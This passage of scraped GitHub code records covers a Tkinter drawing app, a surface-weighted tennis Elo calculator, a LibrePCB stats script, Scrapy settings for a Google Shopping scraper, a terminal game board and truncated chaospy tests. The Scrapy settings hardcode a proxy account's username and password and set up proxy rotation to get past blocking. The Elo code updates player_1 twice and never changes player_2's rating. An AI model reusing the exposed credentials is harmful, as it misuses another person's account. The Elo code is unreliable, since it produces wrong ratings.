Mouse\n","repo_name":"open-cogsci/OpenSesame","sub_path":"libopensesame/python_workspace_api.py","file_name":"python_workspace_api.py","file_ext":"py","file_size_in_byte":19008,"program_lang":"python","lang":"en","doc_type":"code","stars":222,"dataset":"github-code","pt":"47"}
{"seq_id":"22410423429","text":"from   Tkinter import *\r\nimport Pmw, AppShell, math, time, string, marshal\r\nfrom cursornames import *\r\nfrom toolbarbutton import ToolBarButton\r\nfrom tkFileDialog import *\r\n\r\ntransDict = { 'bx': 'boundX', 'by': 'boundY',\r\n              'x':  'adjX',   'y':  'adjY',\r\n              'S':  'uniqueIDINT' }\r\n\r\nclass Draw(AppShell.AppShell):\r\n    usecommandarea = 1\r\n    appname        = 'Drawing Program - Version 4'\r\n    frameWidth     = 840\r\n    frameHeight    = 600\r\n    \r\n    def createButtons(self):\r\n        self.buttonAdd('Postscript',\r\n              helpMessage='Save current drawing (as PostScript)',\r\n              statusMessage='Save drawing as PostScript file',\r\n              command=self.ipostscript)\r\n        self.buttonAdd('Refresh', helpMessage='Refresh drawing',\r\n              statusMessage='Redraw the screen', command=self.redraw)\r\n        self.buttonAdd('Close', helpMessage='Close Screen',\r\n              statusMessage='Exit', command=self.close)\r\n        \r\n    def createBase(self):\r\n        self.toolbar = self.createcomponent('toolbar', (), None,\r\n                  Frame, (self.interior(),), background=\"gray90\")\r\n        self.toolbar.pack(fill=X)\r\n\r\n        self.canvas = self.createcomponent('canvas', (), None,\r\n                  Canvas, (self.interior(),), background=\"white\")\r\n        self.canvas.pack(side=LEFT, expand=YES, fill=BOTH)\r\n\r\n        Widget.bind(self.canvas, \"<Button-1>\", self.mouseDown)\r\n        Widget.bind(self.canvas, \"<Button1-Motion>\", self.mouseMotion)\r\n        Widget.bind(self.canvas, \"<Button1-ButtonRelease>\", self.mouseUp)\r\n        self.root.bind(\"<KeyPress>\", self.setRegular)\r\n        self.root.bind(\"<KeyRelease>\", self.setRegular)\r\n\r\n    def setRegular(self, event):\r\n        if event.type == '2' and event.keysym == 'Shift_L':\r\n            self.regular = TRUE\r\n        else:\r\n            self.regular = FALSE\r\n\r\n    def createMenus(self):\r\n        self.menuBar.deletemenuitems('File')\r\n        self.menuBar.addmenuitem('File', 'command', 'New drawing',\r\n                                 label='New', command=self.newDrawing)\r\n        self.menuBar.addmenuitem('File', 'command', 'Open drawing',\r\n                                 label='Open...', command=self.openDrawing)\r\n        self.menuBar.addmenuitem('File', 'command', 'Save drawing',\r\n                                 label='Save', command=self.saveDrawing)\r\n        self.menuBar.addmenuitem('File', 'command', 'Save drawing',\r\n                                 label='SaveAs...', command=self.saveAsDrawing)\r\n        self.menuBar.addmenuitem('File', 'separator')\r\n        self.menuBar.addmenuitem('File', 'command', 'Exit program',\r\n                                 label='Exit', command=self.quit)\r\n\r\n    def createTools(self):\r\n        self.func      = {}\r\n        self.transFunc = {}\r\n        ToolBarButton(self, self.toolbar, 'sep', 'sep.gif',\r\n                      width=10, state='disabled')\r\n        for key, func, balloon in [\r\n                ('pointer', None,                'Edit drawing'),\r\n                ('draw',    self.drawFree,       'Draw freehand'),\r\n                ('smooth',  self.drawSmooth,     'Smooth freehand'),\r\n                ('line',    self.drawLine,       'Rubber line'),\r\n                ('rect',    self.drawRect,       'Unfilled rectangle'),\r\n                ('frect',   self.drawFilledRect, 'Filled rectangle'),\r\n                ('oval',    self.drawOval,       'Unfilled oval'),\r\n                ('foval',   self.drawFilledOval, 'Filled oval')]:\r\n            ToolBarButton(self, self.toolbar, key, '%s.gif' % key,\r\n                          command=self.selectFunc, balloonhelp=balloon,\r\n                               statushelp=balloon)\r\n            self.func[key]       = func\r\n            self.transFunc[func] = key\r\n            \r\n    def createLineWidths(self):\r\n        ToolBarButton(self, self.toolbar, 'sep', 'sep.gif', width=10,\r\n                      state='disabled')\r\n        for width in ['1', '3', '5']:\r\n            ToolBarButton(self, self.toolbar, width, 'tline%s.gif' %\r\n                  width, command=self.selectWidth,\r\n                  balloonhelp='%s pixel linewidth' % width,\r\n                  statushelp='%s pixel linewidth' % width)\r\n\r\n    def createLineColors(self):\r\n        ToolBarButton(self, self.toolbar, 'sep', 'sep.gif', width=10,\r\n                      state='disabled')\r\n        for color in ['black', 'white', 'gray','green',\r\n                      'blue', 'red', 'orange','yellow', 'brown']:\r\n            ToolBarButton(self, self.toolbar, color, 'linecolor.gif',\r\n                  bg=color, command=self.selectForeground,\r\n                  balloonhelp='Draw %s outline' % color,\r\n                  statushelp='Outline will be drawn in %s' % color)\r\n\r\n    def createFillColors(self):\r\n        ToolBarButton(self, self.toolbar, 'sep', 'sep.gif', width=10,\r\n                      state='disabled')\r\n        for color in ['black', 'white', 'gray','green',\r\n                      'blue', 'red', 'orange','yellow', 'brown']:\r\n            ToolBarButton(self, self.toolbar, color, 'fillcolor.gif',\r\n                  bg=color, command=self.selectBackground,\r\n                  balloonhelp='Use %s fill color' % color,\r\n                  statushelp='Object will be filled with %s' % color)\r\n\r\n    def createPatterns(self):\r\n        ToolBarButton(self, self.toolbar, 'sep', 'sep.gif', width=10,\r\n                      state='disabled')\r\n        for pattern in [None, 'gray12.bmp', 'gray25.bmp',\r\n                        'gray50.bmp', 'gray75.bmp']:\r\n            ToolBarButton(self, self.toolbar, pattern, pattern,\r\n                  command=self.selectPattern,\r\n                  balloonhelp='Stipple pattern',\r\n                  statushelp='Stipple pattern applied to fill')\r\n\r\n    def selectFunc(self, tag):\r\n        self.curFunc = self.func[tag]\r\n        if self.curFunc:\r\n            self.canvas.config(cursor='crosshair')\r\n        else:\r\n            self.canvas.config(cursor='arrow')\r\n\r\n    def selectWidth(self, tag):\r\n        self.lineWidth = string.atoi(tag)\r\n\r\n    def selectBackground(self, tag):\r\n        self.background = tag\r\n        \r\n    def selectForeground(self, tag):\r\n        self.foreground = tag\r\n\r\n    def selectPattern(self, tag):\r\n        if tag:\r\n            self.fillStyle='@icons/%s' % tag\r\n        else:\r\n            self.fillStyle = tag\r\n            \r\n    def mouseDown(self, event):\r\n        self.curObject = None\r\n        self.canvas.dtag('drawing')\r\n        self.lineData = []\r\n        self.lastx = self.startx = self.canvas.canvasx(event.x)\r\n        self.lasty = self.starty = self.canvas.canvasy(event.y)\r\n        self.uniqueID = 'S*%d' % self.serial\r\n        self.serial = self.serial + 1\r\n        if not self.curFunc:\r\n            if event.widget.find_withtag(CURRENT):\r\n                tags = self.canvas.gettags(CURRENT)\r\n                for tag in tags:\r\n                    if tag[:2] == 'S*':\r\n                        objectID = tag\r\n                if 'grabHandle' in tags:\r\n                    self.inGrab      = TRUE\r\n                    self.releaseGrab = FALSE\r\n                    self.uniqueID    = objectID\r\n                else:\r\n                    self.inGrab = FALSE\r\n                    self.addGrabHandles(objectID, 'grab')\r\n                    self.canvas.config(cursor='fleur')\r\n                    self.uniqueID = objectID\r\n        else:\r\n            self.canvas.delete(\"grabHandle\")\r\n            self.canvas.dtag(\"grabHandle\")\r\n            self.canvas.dtag(\"grab\")                \r\n            \r\n    def mouseMotion(self, event):\r\n        curx = self.canvas.canvasx(event.x)\r\n        cury = self.canvas.canvasy(event.y)\r\n        prevx = self.lastx\r\n        prevy = self.lasty        \r\n        if not self.inGrab and self.curFunc:\r\n            self.lastx = curx\r\n            self.lasty = cury\r\n            if self.regular and self.curFunc in \\\r\n                   [self.func['oval'], self.func['rect'],\r\n                    self.func['foval'],self.func['frect']]:\r\n                dx         = self.lastx - self.startx\r\n                dy         = self.lasty - self.starty\r\n                delta = max(dx, dy)\r\n                self.lastx = self.startx + delta\r\n                self.lasty = self.starty + delta\r\n            self.curFunc(self.startx, self.starty, self.lastx,\r\n                 self.lasty, prevx, prevy, self.foreground,\r\n                 self.background, self.fillStyle, self.lineWidth,None)\r\n        else:\r\n            if self.inGrab:\r\n                self.canvas.delete(\"grabbedObject\")                \r\n                self.canvas.dtag(\"grabbedObject\")                \r\n                tags = self.canvas.gettags(CURRENT)\r\n                for tag in tags:\r\n                    if '*' in tag:\r\n                        key, value = string.split(tag, '*')\r\n                        var = transDict[key]\r\n                        setattr(self, var, string.atoi(value))\r\n                self.uniqueID = 'S*%d' % self.uniqueIDINT\r\n                x1, y1, x2, y2, px, py, self.growFunc, \\\r\n                   fg, bg, fill, lwid, ld= self.objects[self.uniqueID]\r\n                if self.boundX == 1 and self.adjX:\r\n                    x1 =  x1 + curx-prevx\r\n                elif self.boundX == 2 and self.adjX:\r\n                    x2 =  x2 + curx-prevx\r\n                if self.boundY == 1 and self.adjY:\r\n                    y1 = y1 + cury-prevy\r\n                elif self.boundY == 2 and self.adjY:\r\n                    y2 = y2 + cury-prevy\r\n                self.growFunc(x1,y1,x2,y2,px,py,fg,bg,fill,lwid,ld)\r\n                self.canvas.addtag_withtag(\"grabbedObject\",\r\n                                           self.uniqueID)\r\n                self.storeObject(x1,y1,x2,y2,px,py,self.growFunc,\r\n                                 fg,bg,fill,lwid,ld)\r\n                self.lastx = curx\r\n                self.lasty = cury\r\n            else:\r\n                self.canvas.move('grab', curx-prevx, cury-prevy)\r\n                self.lastx = curx\r\n                self.lasty = cury\r\n\r\n    def mouseUp(self, event):\r\n        self.prevx = self.lastx\r\n        self.prevy = self.lasty        \r\n        self.lastx = self.canvas.canvasx(event.x)\r\n        self.lasty = self.canvas.canvasy(event.y)\r\n\r\n        if self.curFunc:\r\n            if self.regular and self.curFunc in \\\r\n                   [self.func['oval'], self.func['rect'],\r\n                    self.func['foval'],self.func['frect']]:\r\n                dx = self.lastx - self.startx\r\n                dy = self.lasty - self.starty\r\n                delta = max(dx, dy)\r\n                self.lastx = self.startx + delta\r\n                self.lasty = self.starty + delta\r\n            self.curFunc(self.startx, self.starty, self.lastx,\r\n                 self.lasty, self.prevx, self.prevy, self.foreground,\r\n                 self.background, self.fillStyle, self.lineWidth,\r\n                 self.lineData)\r\n            self.inGrab      = FALSE\r\n            self.releaseGrab = TRUE\r\n            self.growFunc    = None\r\n            self.storeObject(self.startx, self.starty, self.lastx,\r\n                 self.lasty, self.prevx, self.prevy, self.curFunc, \r\n                 self.foreground, self.background, self.fillStyle,\r\n                 self.lineWidth, self.lineData)\r\n        else:\r\n            if self.inGrab:\r\n                tags = self.canvas.gettags(CURRENT)\r\n                for tag in tags:\r\n                    if '*' in tag:\r\n                        key, value = string.split(tag, '*')\r\n                        var = transDict[key]\r\n                        setattr(self, var, string.atoi(value))\r\n                x1,y1,x2,y2, px, py, self.growFunc, \\\r\n                    fg,bg,fill,lwid,ld = self.objects[self.uniqueID]\r\n                if self.boundX == 1 and self.adjX:\r\n                    x1 =  x1 + self.lastx-self.prevx\r\n                elif self.boundX == 2 and self.adjX:\r\n                    x2 =  x2 + self.lastx-self.prevx\r\n                if self.boundY == 1 and self.adjY:\r\n                    y1 = y1 + self.lasty-self.prevy\r\n                elif self.boundY == 2 and self.adjY:\r\n                    y2 = y2 + self.lasty-self.prevy\r\n                self.growFunc(x1,y1,x2,y2,px,py,fg,bg,fill,lwid,ld)\r\n                self.storeObject(x1,y1,x2,y2,px,py,self.growFunc,\r\n                                 fg,bg,fill,lwid,ld)\r\n                self.addGrabHandles(self.uniqueID, self.uniqueID)\r\n            if self.selObj:\r\n                self.canvas.itemconfig(self.selObj,\r\n                                       width=self.savedWidth)\r\n        self.canvas.config(cursor='arrow')\r\n        \r\n    def addGrabHandles(self, objectID, tag):\r\n        self.canvas.delete(\"grabHandle\")\r\n        self.canvas.dtag(\"grabHandle\")\r\n        self.canvas.dtag(\"grab\")                \r\n        self.canvas.dtag(\"grabbedObject\")                \r\n\r\n        self.canvas.addtag(\"grab\", \"withtag\", CURRENT)\r\n        self.canvas.addtag(\"grabbedObject\", \"withtag\", CURRENT)\r\n        x1,y1,x2,y2 = self.canvas.bbox(tag)\r\n        for x,y, curs, tagBx, tagBy, tagX, tagY in [\r\n                (x1,y1,TLC,            'bx*1','by*1','x*1','y*1'),\r\n                (x2,y1,TRC,            'bx*2','by*1','x*1','y*1'),\r\n                (x1,y2,BLC,            'bx*1','by*2','x*1','y*1'),\r\n                (x2,y2,BRC,            'bx*2','by*2','x*1','y*1'),\r\n                (x1+((x2-x1)/2),y1,TS, 'bx*0','by*1','x*0','y*1'),\r\n                (x2,y1+((y2-y1)/2),RS, 'bx*2','by*0','x*1','y*0'),\r\n                (x1,y1+((y2-y1)/2),LS, 'bx*1','by*0','x*1','y*0'),\r\n                (x1+((x2-x1)/2),y2,BS, 'bx*0','by*2','x*0','y*1')]:\r\n            ghandle = self.canvas.create_rectangle(x-2,y-2,x+2,y+2,\r\n                      outline='black', fill='black', tags=('grab',\r\n                      'grabHandle','%s'%tagBx,'%s'%tagBy,'%s'%tagX,\r\n                      '%s'%tagY,'%s'%objectID))\r\n            self.canvas.tag_bind(ghandle, '<Any-Enter>',\r\n                      lambda e, s=self, c=curs: s.setCursor(e,c))\r\n            self.canvas.tag_bind(ghandle, '<Any-Leave>',\r\n                                 self.resetCursor)\r\n            self.canvas.lift(\"grab\")\r\n\r\n    def setCursor(self, event, cursor):\r\n        self.savedCursor = self.canvas.cget('cursor')\r\n        self.canvas.config(cursor=cursor)\r\n\r\n    def resetCursor(self, event):\r\n        if self.releaseGrab and self.savedCursor:\r\n            self.canvas.config(cursor=self.savedCursor)  \r\n\r\n    def drawLine(self,x,y,x2,y2,x3,y3,fg,bg,fillp,wid,ld):\r\n        self.canvas.delete(self.curObject)\r\n        self.curObject = self.canvas.create_line(x,y,x2,y2,\r\n                tags=self.uniqueID, fill=fg,stipple=fillp,width=wid)\r\n\r\n    def drawFree(self,x,y,x2,y2,x3,y3,fg,bg,fillp,wid,ld):\r\n        self.drawFreeSmooth(x,y,x2,y2,x3,y3,FALSE,fg,bg,fillp,wid,ld)\r\n\r\n    def drawSmooth(self,x,y,x2,y2,x3,y3,fg,bg,fillp,wid,ld):\r\n        self.drawFreeSmooth(x,y,x2,y2,x3,y3,TRUE,fg,bg,fillp,wid,ld)\r\n\r\n    def drawFreeSmooth(self,x,y,x2,y2,x3,y3,smooth,fg,bg,fillp,\r\n                       wid,ld):\r\n        if not ld:\r\n            for coord in [[x3, y3, x2, y2], [x2, y2]][smooth]:\r\n                self.lineData.append(coord)\r\n                ild = self.lineData\r\n        else:\r\n            ild = ld\r\n        if len(ild) > 2:\r\n            self.curObject = self.canvas.create_line(ild, fill=fg,\r\n              stipple=fillp,tags=self.uniqueID,width=wid,smooth=smooth)\r\n\r\n    def drawRect(self,x,y,x2,y2,x3,y3,fg,bg,fillp,wid,ld):\r\n        self.drawFilledRect(x,y,x2,y2,x3,y3,fg,'',fillp,wid,ld)\r\n        \r\n    def drawFilledRect(self,x,y,x2,y2,x3,y3,fg,bg,fillp,wid,ld):\r\n        self.canvas.delete(self.curObject)\r\n        self.curObject = self.canvas.create_rectangle(x,y,x2,y2,\r\n                   tags=self.uniqueID,outline=fg,fill=bg,\r\n                   stipple=fillp, width=wid)\r\n\r\n    def drawOval(self,x,y,x2,y2,x3,y3,fg,bg,fillp,wid,ld):\r\n        self.drawFilledOval(x,y,x2,y2,x3,y3,fg,'',fillp,wid,ld)\r\n        \r\n    def drawFilledOval(self,x,y,x2,y2,x3,y3,fg,bg,fillp,wid,ld):\r\n        self.canvas.delete(self.curObject)\r\n        self.curObject = self.canvas.create_oval(x,y,x2,y2,\r\n                   tags=self.uniqueID,outline=fg,fill=bg,\r\n                   stipple=fillp,width=wid)\r\n\r\n    def storeObject(self, x1,y1,x2,y2,px,py,func,fg,bg,fill,lwid,ld):\r\n        self.objects[self.uniqueID] = ( x1,y1,x2,y2,px,py,func,fg,bg,\r\n                                        fill,lwid,ld )\r\n\r\n    def redraw(self):\r\n        # **** Delete all tags in canvas first ****\r\n        self.canvas.delete(ALL)\r\n        keys = self.objects.keys()\r\n        keys.sort()\r\n        for key in keys:\r\n            startx, starty, lastx, lasty, prevx, prevy, func, \\\r\n                    fg, bg, fill, lwid , ld= self.objects[key]\r\n            self.curObject = None\r\n            self.uniqueID = key\r\n            func(startx, starty, lastx, lasty, prevx, prevy,\r\n                 fg, bg, fill, lwid, ld)\r\n\r\n    def newDrawing(self):\r\n        self.canvas.delete(ALL)\r\n        self.initData()\r\n\r\n    def openDrawing(self):\r\n        ofile = askopenfilename(filetypes=[(\"PTkP Draw\", \"ptk\"),\r\n                                           (\"All Files\", \"*\")])\r\n        if ofile:\r\n            self.currentName = ofile\r\n            self.initData()\r\n            fd = open(ofile)\r\n            items = marshal.load(fd)\r\n            for i in range(items):\r\n                self.uniqueID, x1,y1,x2,y2,px,py,cfunc, \\\r\n                     fg,bg,fill,lwid,ld = marshal.load(fd)\r\n                self.storeObject(x1,y1,x2,y2,px,py,self.func[cfunc],\r\n                                 fg,bg,fill,lwid,ld)\r\n            fd.close()\r\n        self.redraw()\r\n        \r\n    def saveDrawing(self):\r\n        self.doSave()\r\n\r\n    def saveAsDrawing(self):\r\n        ofile = asksaveasfilename(filetypes=[(\"PTkP Draw\", \"ptk\"),\r\n                                             (\"All Files\", \"*\")])\r\n        if ofile:\r\n            self.currentName = ofile\r\n            self.doSave()\r\n            \r\n    def doSave(self):\r\n        fd = open(self.currentName, 'w')\r\n        keys = self.objects.keys()\r\n        keys.sort()\r\n        marshal.dump(len(keys), fd)\r\n        for key in keys:\r\n            startx, starty, lastx, lasty, prevx, prevy, func, \\\r\n                    fg, bg, fill, lwid , ld= self.objects[key]\r\n            cfunc = self.transFunc[func]\r\n            marshal.dump((key, startx, starty, lastx, lasty, prevx, \\\r\n                          prevy, cfunc, fg, bg, fill, lwid , ld), fd)\r\n        fd.close()\r\n        \r\n    def initData(self):\r\n        self.curFunc     = self.drawLine\r\n        self.growFunc    = None\r\n        self.curObject   = None\r\n        self.selObj      = None\r\n        self.lineData   = []\r\n        self.savedWidth  = 1\r\n        self.savedCursor = None\r\n        self.objects     = {}       # Now a dictionary\r\n        self.foreground  = 'black'\r\n        self.background  = 'white'\r\n        self.fillStyle   = None\r\n        self.lineWidth   = 1\r\n        self.serial      = 1000\r\n        self.regular     = FALSE\r\n        self.inGrab      = FALSE\r\n        self.releaseGrab = TRUE\r\n        self.currentName = 'Untitled'\r\n\r\n    def ipostscript(self):\r\n        postscript = self.canvas.postscript()\r\n        fd = open('drawing.ps', 'w')\r\n        fd.write(postscript)\r\n        fd.close()\r\n        \r\n    def close(self):\r\n        self.quit()\r\n\r\n    def createInterface(self):\r\n        AppShell.AppShell.createInterface(self)\r\n        self.createButtons()\r\n        self.initData()\r\n        self.createMenus()\r\n        self.createBase()\r\n        self.createTools()\r\n        self.createLineWidths()\r\n        self.createLineColors()\r\n        self.createFillColors()\r\n        self.createPatterns()\r\n        \r\nif __name__ == '__main__':\r\n    draw = Draw()\r\n    draw.run()\r\n","repo_name":"profh/python_independent_study","sub_path":"files/Tkinter Examples/Chapter10/draw4.py","file_name":"draw4.py","file_ext":"py","file_size_in_byte":19785,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"}
{"seq_id":"2679644735","text":"import copy\nfrom IPython import embed\nimport pandas as pd\n\ndef update_elos_and_gen_brier(args):\n    '''\n    Designed to be applied to df of matches, requires global RATINGS_DF with latest ELOS\n    Unpacks 'args' to make player_1, player_2,k_factor,outcome,surface\n    Updates the global RATINGS_DF, given a single game + k-factor as side effect.\n    Also returns  rating_1, rating_2, e1, brier, which should be unpacked and added to df rowwise\n    '''\n    player_1, player_2,k_factor,outcome, match_surface = args\n    rating_1 = RATINGS_DF[match_surface][player_1]\n    rating_2 = RATINGS_DF[match_surface][player_2]\n    \n    q1 =10.0 ** (rating_1/400)\n    q2 =10.0 ** (rating_2/400)\n    e1 = q1/(q1+q2)\n    e1_diff = outcome-e1\n\n    for surface_rat in ['Grass','Hard','Clay']:\n        RATINGS_DF[surface_rat][player_1] += (e1_diff*k_factor*SURFACE_MATRIX[match_surface][surface_rat])\n        RATINGS_DF[surface_rat][player_1] -= (e1_diff*k_factor*SURFACE_MATRIX[match_surface][surface_rat])\n\n    #measure performance of prediction vs actual win/loss draw. Brier change = square of prediction error.    \n    brier =  (outcome - e1)**2\n    return rating_1, rating_2, e1, brier\n\ndef calc_brier_and_elos(matches_df,params,brier_sum_only):\n    '''\n    Designed to be applied to entire dataframe of matches - needs matches df to have columns:\n        'Player 1' - str \n        'Player 2' - str\n        'Outcome' - int O/1\n    \n    params = list: unpkacked to make to make the following params\n        k_factor int - how fast should ratings update given wins?\n        grass_hard - how much should wins on grass influence hard court ratings and vica versa?\n        grass_clay - as above for clay and grass\n        hard_clay - as above for hard and clay\n\n    brier_sum_only - should it return only the sum of squared prediction errors, or the entire frame?\n    (set to true if optimising hyperparamters 'params')\n    '''\n\n    k_factor, grass_hard, grass_clay, clay_hard = params\n\n    uniq_players = matches_df['Player 1'].append(matches_df['Player 2']).unique()\n\n    #(1a) Make global ratings DF - unique list of players with starting rating 1200 on every surface\n\n    global RATINGS_DF\n    RATINGS_DF = pd.DataFrame(index=uniq_players)\n    for surface in ['Grass','Hard','Clay']:\n        RATINGS_DF[surface] = 1200\n\n    #(1b) Make global map of rating update ratios\n    global SURFACE_MATRIX \n    SURFACE_MATRIX = {}\n    SURFACE_MATRIX['Grass']={'Grass':1,'Hard':grass_hard,'Clay':grass_clay}\n    SURFACE_MATRIX['Hard']={'Grass':grass_hard,'Hard':1,'Clay':clay_hard}\n    SURFACE_MATRIX['Clay']={'Grass':grass_clay,'Hard':clay_hard,'Clay':1}\n\n    matches_df['K Factor'] = k_factor\n    \n   #(2) Apply update_elos_and_gen_brier to every column (see function for details)\n\n    #Ratings are elos BEFORE game of both players on particular surface\n    #E 1 is chance of 1st player winning\n    #Brier is squared predition error\n    matches_df[['Rating 1','Rating 2','E 1','Brier']] = matches_df[['Player 1','Player 2','K Factor','Outcome','Surface']].apply(update_elos_and_gen_brier,axis=1).apply(pd.Series)\n    \n    #(3) Return either entier dataframe, or prediciton errors \n    if brier_sum_only:\n        #Check correlation factors are greater than zero\n        if min(grass_hard,grass_clay,clay_hard) < 0:\n            return 1e10 + min(grass_hard,grass_clay,clay_hard)\n    \n        #Check correlation factors are less than 1\n        if max(grass_hard,grass_clay,clay_hard) > 1:\n            return 1e10 - max(grass_hard,grass_clay,clay_hard)\n\n        return matches_df['Brier'].sum()\n    else:\n        return matches_df","repo_name":"MrLittle69/sports_betting_analysis","sub_path":"Scripts/2. Analysis/utils/elo_surfaces.py","file_name":"elo_surfaces.py","file_ext":"py","file_size_in_byte":3605,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"30926468469","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport json\nimport requests\n\nurl = \"https://api.librepcb.org/api/v1/libraries/v0.1\"\ncontent = json.loads(requests.get(url).content.decode(\"UTF-8\"))\nassert content[\"next\"] is None\n\nlibraries = content[\"results\"]\nsymbols = 0\npackages = 0\ncomponents = 0\ndevices = 0\nfor library in libraries:\n    symbols += int(library[\"symbols\"])\n    packages += int(library[\"packages\"])\n    components += int(library[\"components\"])\n    devices += int(library[\"devices\"])\n\nprint(\"Libraries: {}\".format(len(libraries)))\nprint(\"Symbols: {}\".format(symbols))\nprint(\"Packages: {}\".format(packages))\nprint(\"Components: {}\".format(components))\nprint(\"Devices: {}\".format(devices))\nprint(\"Total: {}\".format(symbols + packages + components + devices))\n","repo_name":"LibrePCB/librepcb-slides","sub_path":"tools/determine_library_count.py","file_name":"determine_library_count.py","file_ext":"py","file_size_in_byte":772,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"}
{"seq_id":"39495495757","text":"# -*- coding: utf-8 -*-\n\n# Scrapy settings for google_shopping project\n#\n# For simplicity, this file contains only the most important settings by\n# default. All the other settings are documented here:\n#\n#     http://doc.scrapy.org/en/latest/topics/settings.html\n#\nimport os\n\n\nBOT_NAME = 'google_shopping'\n\nSPIDER_MODULES = ['google_shopping.spiders']\nNEWSPIDER_MODULE = 'google_shopping.spiders'\n\n# Delay between requests not to be blocked (seconds).\nDOWNLOAD_DELAY = 2\n\n# Crawl responsibly by identifying yourself (and your website) on the user-agent\nUSER_AGENT = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:35.0) Gecko/20100101 Firefox/35.0'\n\nITEM_PIPELINES = {\n    'google_shopping.pipelines.GoogleShoppingPipeline': 200,\n}\n\n# Retry many times since proxies often fail\nRETRY_TIMES = 10\n# Retry on most error codes since proxies fail for different reasons\nRETRY_HTTP_CODES = [500, 503, 504, 400, 403, 404, 408]\n\n# Disable CrawleraMiddleware and enable 3 lines bellow it to switch on using proxies list\nDOWNLOADER_MIDDLEWARES = {\n    #'google_shopping.custom_middlewares.CustomCrawleraMiddleware': 600\n    #'scrapy.contrib.downloadermiddleware.retry.RetryMiddleware': 100,\n    #'google_shopping.custom_middlewares.RandomProxy': 90,\n    'scrapy.contrib.downloadermiddleware.httpproxy.HttpProxyMiddleware': 110,\n}\n\nPROXY_LIST_URL = 'https://d3s763n0ugqswt.cloudfront.net/proxy.txt'\n#PROXY_LIST_URL = 'http://localhost/proxies.txt'\n\n# Path to directory which should contain all xml files\nPRODUCT_PATH = os.path.join(os.path.dirname(__file__), \"products\")\n\n# Clawlera configuration\nCRAWLERA_URL = 'http://paygo.crawlera.com:8010'\nCRAWLERA_ENABLED = True\nCRAWLERA_USER = 'rcouraud'\nCRAWLERA_PASS = 'FEf3zwVsNz'\n# CONCURRENT_REQUESTS = 32\n# CONCURRENT_REQUESTS_PER_DOMAIN = 32\nAUTOTHROTTLE_ENABLED = False\nDOWNLOAD_TIMEOUT = 600\n\n# Delay time for response code 503\nDELAY_TIME = 12*60\n\n#\nCONCURRENT_REQUESTS_PER_IP = 8\n\n# Directory where stores information for restarting the scraper.\nJOBDIR = os.path.join(os.path.dirname(__file__), \"google_products\")\n\n# PickleDB settings\nPICKLEDB_NAME = os.path.join(os.path.dirname(__file__), \"PickleDB.db\")\nBANNED_COUNT_KEY = \"banned_count\"\n\n# Number of banned requests before stopping the scraper.\nALLOWED_BANNED_REQUESTS_NUMBER = 20\n\n# Number of pages for scraping\nNUMBER_OF_PAGE = 2\n#\n# LOG_ENABLED = True\n# LOG_FILE = os.path.join(os.path.dirname(__file__), \"scraper.log\")\n# LOG_LEVEL = 'WARNING'\n","repo_name":"sonnguyenthai/google_shopping","sub_path":"google_shopping/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":2438,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"72259352462","text":"from termcolor import colored\nimport copy\n\nclass Board:\n\n    def __init__(self, map_type):\n        self.map_type = map_type\n        self.width = len(map_type[0])\n        self.height = len(map_type)\n        self.board = self.generate_board(map_type)\n    \n\n    def generate_board(self, map_type):\n        board = copy.deepcopy(map_type)\n        for y in range(self.height):\n            for x in range(self.width):\n                if board[y][x] == 1:\n                    board[y][x] = '.'\n        return board\n\n\n    def display(self):\n        for i in range(self.width):\n            print(chr(i + 97), end=' ')\n        print()\n        for y in range(self.height):\n            for x in range(self.width):\n                element = self.board[y][x]\n                if type(element) is dict: # Si l'élèment est un dictionnaire, alors c'est un bloc d'une shape\n                    print(colored(element[\"content\"], element[\"color\"]), end=' ')\n                elif element == 2:\n                    print(\" \", end=' ')\n                else:\n                    print(element, end=' ')\n            print(chr(y + 65))\n        print() \n\n\n    def update(self, shapes):\n        solid_square = chr(int('0x25A0', 0)) # Hex for solid square unicode character\n        self.board = self.generate_board(self.map_type)\n        for shape in shapes:\n            for coordinates in shape.blocks:\n                x = shape.x + coordinates[0]\n                y = shape.y - coordinates[1]\n                self.board[y][x] = {\n                    \"content\": solid_square,\n                    \"color\": shape.color\n                }","repo_name":"Artiqk/Titris","sub_path":"board.py","file_name":"board.py","file_ext":"py","file_size_in_byte":1606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"22937561209","text":"import chaospy as cp\nimport numpy as np\nfrom scipy import special\n\ndim = 3  # <100\nsamples = 20  # <10**6\norder = 2 # <20\nsize = 20 # <10**5\n\n\nclass normal(cp.SimpleDistribution):\n    \"\"\"stripped down normal distribution.\"\"\"\n    def _cdf(self, x):\n        return special.ndtr(x)\n    def _lower(self):\n        return -7.5\n    def _upper(self):\n        return 7.5\n\n\ndef test_dist():\n    dist = [cp.Normal()]\n    for d in range(dim-1):\n        dist.append(cp.Normal(dist[-1]))\n    dist = cp.J(*dist)\n    out = dist.sample(samples)\n    out = dist.fwd(out)\n    out = dist.inv(out)\n\n\ndef test_quasimc():\n    dist = [cp.Normal()]\n    for d in range(dim-1):\n        dist.append(cp.Normal(dist[-1]))\n    dist = cp.J(*dist)\n    dist.sample(samples, \"H\")\n    dist.sample(samples, \"M\")\n    dist.sample(samples, \"S\")\n\n\n# def test_approx_dist():\n#     dist = [normal()]\n#     for d in range(dim-1):\n#         dist.append(normal() + dist[-1])\n#     dist = cp.J(*dist)\n#     out = dist.sample(samples)\n#     out = dist.fwd(out)\n#     out = dist.inv(out)\n\n\ndef test_orthogonals():\n    dist = cp.Iid(cp.Normal(), dim)\n    cp.expansion.gram_schmidt(order, dist)\n    cp.expansion.stieltjes(order, dist)\n    cp.expansion.cholesky(order, dist)\n\n\ndef test_quadrature():\n    dist = cp.Iid(cp.Normal(), dim)\n    gq = cp.generate_quadrature\n    nodes, weights = gq(order, dist, rule=\"C\")\n    nodes, weights = gq(order, dist, rule=\"E\")\n    nodes, weights = gq(order, dist, rule=\"G\")\n    nodes, weights = gq(order, dist, rule=\"C\", sparse=True)\n    nodes, weights = gq(order, dist, rule=\"E\", sparse=True)\n    nodes, weights = gq(order, dist, rule=\"G\", sparse=True)\n\n\ndef 